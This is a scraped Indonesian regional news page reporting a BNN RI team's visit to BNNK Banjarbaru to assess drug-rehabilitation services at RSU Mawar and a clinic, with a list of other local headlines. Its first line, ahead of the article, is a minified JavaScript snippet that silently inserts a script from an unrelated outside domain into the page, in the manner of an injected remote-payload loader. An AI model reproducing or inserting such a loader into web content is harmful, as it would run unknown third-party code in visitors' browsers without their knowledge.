(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

4 Point Penilaian dalam Kunjungan BNN RI ke BNNK Banjarbaru


BANJARBARU, Tim Bimtek Terpadu Deputi Rehabilitasi BNN RI melakukan kunjungan ke BNN Kota Banjarbaru khususnya seksi Rehabilitas dalam rangka memantau kemajuan layanan rehabilitasi di salah satu PLRKM (Penguatan Lembaga Rehabilitasi Komponen Masyarakat).

Pada kunjungan ini BNN Provinsi Kalsel dan Tim pendamping dari BNNK Banjarbaru  juga turut hadir dalam menyambut kunjungan Tim Bimtek Deputi Rehabilitasi BNN RI tersebut.

Kepala BNNK Banjarbaru AKBP Sugito menjelaskan bahwa kegiatan ini merupakan pemantauan dari BNN RI terhadap layanan rehabilitasi di salah satu PLRKM dan layanan rehabilitasi rawat jalan. “Kegiatan Bimtek Terpadu BNN RI ini untuk memantau kemajuan layanan rehabilitasi di salah satu PLRKM BNN Banjarbaru dalam hal ini RSU Mawar sekaligus memantau layanan rehabilitasi rawat jalan di Klinik Pratama IPWL BNN Kota Banjarbaru dengan memantau kondisi dan perkembangan layanan rehabilitasi serta mengidentifikasi masalah serta penyelesaiannya,” jelasnya.

Dari hasil pemantauan yang dilakukan, Tim Bimtek Terpadu telah mendata kondisi serta kendala atau masalah yang ada di RSU Mawar & Klinik Pratama IPWL BNN Kota Banjarbaru, dimana ada 4 point yang dinilai yang diantaranya; Layanan rehabilitasi di RSU Mawar sudah cukup baik dengan jumlah klien 5 orang yang masih menjalani program rawat jalan. Hal lain juga menyangkut permasalahan kekurangan tenaga atau SDM disarankan untuk menambah personil tim baik dokter atau perawat yang tetap dan segera akan diikutkan untuk pelatihan asesmen tahun 2018 ini.

Selain itu, juga kelengkapan klaim disarankan agar menambah form rujukan di setiap klaim klien rawat jalan. Terakhir, Klinik Pratama IPWL BNN Kota Banjarbaru juga dinilai sudah baik dalam layanan rehabilitasi, hanya disarankan untuk menambahkan cover rekam medik dan ruangan klinik agar lebih privasi lagi dengan memasang pintu atau gorden pada ruangan klinik tersebut.

Sugito mengungkapkan kepada kanalkalimantan.com Jumat (18/5), dengan adanya penilaian tersebut, pihaknya dan Rumah Sakit Mawar dapat lebih ekstra dalam meningkat segi pelayan rehabilitasi baik sarana dan prasarana, selain itu dirinya juga optimis untuk mencapai target klien yang menjalani rehabilitasi.

“Ada beberapa point yang sudah dinilai cukup bagus dan ada juga yang masih kurang, kita tidak berpuas diri, akan lebih kita tingkatan lagi dan pada point 1 dari hasil penilaian, kemungkinan tahun ini dapat mencapai 10 klien sesuai target BNN Kota Banjarbaru” pungkasnya. (Rico)

Reporter:Rico
Editor:Cell

Desy Arfianty

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

21 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

21 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

21 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

22 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

1 hari ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

2 hari ago

This website uses cookies.